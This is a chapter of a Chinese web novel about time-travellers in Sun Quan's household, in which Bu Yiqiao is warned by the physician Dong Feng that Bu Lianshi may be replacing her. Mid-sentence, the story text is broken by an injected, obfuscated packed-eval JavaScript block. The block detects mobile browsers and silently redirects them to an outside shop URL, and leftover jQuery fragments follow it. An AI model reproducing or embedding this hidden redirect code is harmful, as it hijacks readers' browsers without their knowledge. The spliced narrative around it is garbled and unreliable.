112.诡秘

作品:《误卿是仲谋

    《吴书》载:“夫人性不妒忌,多所推进,故久见爱待。”


    史书真是概括得到位。


    步一乔不曾想过,有朝一日见证步练师替孙权引荐女子,会引荐到自己。


    “多谢夫人青睐。只是我这般身份,如何配得上主公?能留在府中侍奉,已是知足。”


    步练师眸光温静,仿佛早料到她这般推辞。


    “乔姑娘不必自轻。夫君待你不同,府中上下皆看在眼里。若你愿意,我可向老夫人进言,为你安排名分。”


    见步练师神色认真,似是真要劝成此事,步一乔只得咬牙直言:


    “步夫人误会了。是我不愿嫁给主公,不想做这孙府的夫人,仅此而已。”


    步练师微微一怔,眸中掠过些许讶然,随即又化作温静的深思。


    “妾身倒是第一次听人这般说。这江东多少女子,盼着能入孙府的门。”


    “人各有志嘛。夫人贤德,能容人所不能容,一乔敬佩。只是这世间路有千万条,并非人人都愿走同一条。”


    步练师静默片刻,忽然轻叹一声。


    “乔姑娘这般心性……倒让妾身想起一个人。”


    “何人?”


    “梦中一位故人。不争名分,只愿守在心上人身旁。说来也怪,曾经还误将梦中人错认成自己呢。”


    步练师说这话时,眸光始终未离步一乔的脸。


    “步夫人觉得,我与您,长得几分相似?”


    “六分吧。”


    “旁人都说七八分,夫人这儿,分值倒是不高。”


    “夫君觉着呢?”


    “主公?”步一乔微顿,“不知。但若从他偶尔分不清你我来看……大约,有九分吧。”


    步练师闻言,眼波微漾,唇角浮起笑意。


    “难怪夫君会恍惚。可妾身总觉得,那余下的一分不同,才是真正的天壤之别。”


    “夫人指的是……”


    “皮囊易似,魂灵难同。乔姑娘,你说不愿嫁入孙府,可究竟是‘不愿’,还是‘不敢’呢?”


    夜风拂过庭院,步一乔尚未答话,书房的门忽然开了。孙权披衣立在门口,目光落在院中两人身上。


    眨眼而过的瞬间,步一乔还是捕捉到了孙权眼中的错愕。


    他方才……是不是又认错了谁。


    “这么晚了,怎都在此处?”


    步练师转身,温婉一笑:“是妾身放心不下,来看看夫君可还记得明日要赶早。可别又熬到天明,伤了身子。”


    “多谢夫人关心。”


    孙权也回以一笑,却在对上另一双眼眸时,再度怔住。


    从来只唤步一乔为“夫人”的男人,第一次将这两个字,给了旁人。


    谢夫人是谢氏,徐夫人是徐氏,步练师……是夫人。


    步一乔垂下眼,往后退了半步。


    步练师察觉微妙,柔声道:“夫君既已醒了,不如早些歇息。乔姑娘也累了一日,该回去睡了。”


    孙权目光仍停在步一乔低垂的侧脸上,口中应道:“说的是。”却未动。


    步练师了然,向孙权颔首:“那妾身先告退了。”


    她转身离去,脚步声渐远。


    院子里只剩下两个人。孙权往前走了两步,步一乔却往后退。


    “一乔。”


    “主公早点歇息了,奴婢告退。”


    “抱歉。”


    “为何道歉?”她抬起眼,忽然笑了笑,“听见您称步夫人‘夫人’?本就该如此。”


    “我——”


    “我什么都不知道。”步一乔打断他,又往后退了一步,“我只知道,明日您要赴京口,今夜该好好休息。而我……也该回房了。”


    她转身要走,手却被他从身后抓住。


    “只是个称呼。局势所需,礼法所束……你明白的。”


    步一乔没有回头。


    “主公连说谎……都越发不擅长了。”她轻轻抽回手,“我都明白。所以主公不必多说,早些安寝吧。”


    那一瞬的错愕骗不了人。她什么都清楚,反而不愿再听任何辩白。


    这次,孙权没有再拦她。


    他也没有追上去。追上去又能说什么呢?难道要直说那声“夫人”,是看着那张相似的脸,脱口而出?


    “那岂不是承认……我快分不清她们了。”


    为何会如此?


    *


    孙权此去京口,一为战事谋划,二为日后北伐作准备,更有意将江东政权重心逐步北移至京口。


    吴夫人思虑再三,觉得他独自前往总有不妥。此去少则一两月,身边总需有妥帖之人照料起居。


    “你同仲谋一道去吧。反正你在他身边侍奉时间长,他又待你不同,你在他身边,我也放心。”


    步一乔听罢,下意识转身欲颔首领命,却在抬眸时看见,吴夫人正望着步练师说话。


    步练师也明显怔了一瞬,旋即柔声应道:“是,听母亲安排。”


    “母亲?”


    吴夫人这才偏过头,看见了静立一旁的步一乔。


    “倒是老身疏忽了。不过这样也好,一乔留下照顾我,步氏随仲谋去京口。”


    步一乔垂着眼帘,指尖在袖中蜷起,又松开。


    “……是,老夫人。”


    车马行至府门,孙权向吴夫人行礼辞别。


    “母亲保重。”


    “去吧,京口风大,记得添衣。”吴夫人摆摆手,又看向步练师,“好好照顾仲谋。”


    “妾身谨记。”


    步练师先行上马,孙权登车前,又回望向门前神情黯淡的步一乔。


    步一乔知道分寸,端正欠身送行。


    “祝主公一路顺风。”


    “一乔。”


    “奴婢在。”


    “可要与我同去?”


    “主公这是何意?”


    “每每离府,心中总觉不宁。你在身边,我才安心。”


    猝不及防的直白打得人措手不及。可他是主公,又有谁敢说他失矩。


    晨光里,步一乔看见孙权眼中映着自己的身影。清晰、专注,仿佛此刻天地间只此一人。


    可她也看见了他身后那辆华盖马车,帘帷半卷,步练师安静端坐的侧影。


    “主公说笑了。有步夫人随行照料,您定会诸事顺遂。奴婢留在府中侍奉老夫人,也是一样的。”


    孙权沉默片刻,忽然朝她走近一步,光明正大牵住她的手。


    “并非说笑。这次,跟我走吧。”


    风掠过庭前柳梢,步一乔听见自己心跳的声音,一下,又一下,撞在胸腔里。


    到嘴边的“愿意”在唇边反复吞吐,几乎要溢出来。若他再问一次,她定会应下。


    就在此时,车内传来步练师温软的声音:“夫君,时辰不早了。”


    孙权身形微顿,终是闭了闭眼。再睁开时,已复清明。


    “罢了。你留在吴郡,好生照顾母


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055856|186820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲。”


    “……是。”


    车马粼粼,渐行渐远。步一乔立在阶前,手背上还留着他方才的温度。


    周围的人渐渐散去,她还站在原地舍不得离开。


    “人都走远了,还看?”


    董奉的声音从廊柱旁传来。他不知在那儿站了多久。


    步一乔没有回头,只轻声说:“医仙今日不采药么?”


    “采,顺道采走一个丢了魂的。”他走到她身侧,递过一方素帕,“擦擦。”


    步一乔这才察觉颊边微凉,她没接帕子,抬手用袖口胡乱抹了抹。


    “我没事。”


    “没事的人不会盯着一辆早没影的马车看半炷香。”董奉将帕子塞进她手里,“他既选了她,你又何必苦着自己。”


    “他没选。你听见了,他问我愿不愿意同去。”


    “然后呢?他还是走了,带着她。”


    “那是吴夫人的安排,与他无关。”


    是了,孙权也是无奈之举。


    董奉静默片刻,无奈摇头:“傻话。自欺欺人。”


    “医仙。”她忽然唤他。


    “嗯?”


    “若我现在追上去,还来得及么?”


    董奉看她片刻,忽然笑了:“马车已出城十里,你靠这两条腿去追?”


    “你明知我不是这个意思。”


    “你也知道我是什么意思。”


    董奉忽然握住她手,力道不重,却让她挣不开。


    “医仙!”


    “虽然只是我的猜测,但……结合你之前提过的‘穿越和替代之事’,我猜,并非你没有替代谁,而是谁,即将替代你。”


    那日困于山洞时,步一乔曾将这些曲折尽数说与董奉听。毕竟种种迹象皆指向,眼前这位医仙,亦是从后世而来,替代了原本的董奉。


    “我?”步一乔反问。


    董奉道:“你仔细想想,另外几位穿越者身上发生的,有何相似之处?”


    “死亡?”


    “怎样的死亡?”


    “……皆是在遇见原主之后,离奇身亡。”


    “甚至旁人都极其自然地,将穿越之人认作原主。”


    死亡尚在其次,董奉点破的才是关键——无人质疑,全盘接受。


    “先是孙权,再是吴夫人……难道,替代我?!可步练师才是正史里的人物,我是——”


    “凡事有先来后到。你与另外几人的不同之处,便在于,你与步练师,你先到。”


    是了。小乔、甘宁、甄霖他们皆是“后来者”。与正主相遇,离奇死亡,理所当然地成为历史上的谁。


    而自己,早在步练师这个名字出现在孙权生命里之前,就已经在了。


    并无不同,不过“先来后到”,顺序颠倒。


    仔细想想,被替代的他们,都是怎么死亡的?


    小乔,走失后曝尸于荒野;甘宁,谋杀身亡;苏飞,突然惨死;甄宓,悬梁自尽。


    步一乔不敢再想下去,下意识抓住董奉的臂膀,像抓住最后的浮木。


    “我该怎么办?”


    “彻底离开此地,与孙权斩断牵连,或许能避开这场‘替代’的因果。”


    “斩断牵连……与孙权……”


    董奉见她犹豫不决的样子,心一横,用力抓住她的两边肩膀,强行唤醒。


    “此刻不是权衡情意与承诺之时!这是生死之事!步一乔,你难道想死在大汉,再也回不去吗?”